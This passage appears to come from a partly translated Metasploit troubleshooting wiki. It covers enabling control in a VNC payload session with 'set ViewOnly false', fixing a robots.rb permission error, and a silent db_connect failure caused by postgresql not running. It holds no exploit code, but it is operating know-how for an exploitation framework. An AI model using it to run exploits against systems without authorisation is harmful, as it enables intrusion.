If you selected VNC viewer as a payload, but are unable to click or do any actions, that means you forgot to set the ViewOnly
variable to false. To fix this problem, re-run the exploit with the variable set to false
:
msf > set ViewOnly false
cannot load such file -- robots (LoadError)
以下のようなエラーが表示される場合:
~/metasploit-framework/lib/metasploit/framework.rb:19:in `require': cannot load such file -- robots (LoadError) from ~/metasploit-framework/lib/metasploit/framework.rb:19:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `require' from ~/metasploit-framework/lib/metasploit/framework/database.rb:1:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `require' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:17:in `<top (required)>' from ~/metasploit-framework/lib/metasploit/framework/parsed_options/console.rb:2:in `<top (required)>' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `const_get' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:230:in `block in constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `each' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/inflector/methods.rb:229:in `constantize' from /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/activesupport-3.2.19/lib/active_support/core_ext/string/inflections.rb:54:in `constantize' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:73:in `parsed_options_class' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in `parsed_options' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in `require_environment!' from ~/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in `start' from ./msfconsole:48:in `<main>'
This happens because the file robots.rb
has incorrect permissions and can be read only by the root user (see the bug report):
$ ls -l /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib
total 4 -rw-r----- 1 root root 3174 Oct 19 16:47 robots.rb
To fix this, simply change the permission to be world-readable:
# chmod o+r /opt/ruby1.9/lib/ruby/gems/1.9.1/gems/robots-0.10.1/lib/robots.rb
db_connect が何もエラーを表示しないで失敗する
If upon running db_connect
you see no output, but later getting a message like this:
[!] Database not connected or cache not built, using slow search
that probably means that the postgresql
service is not running.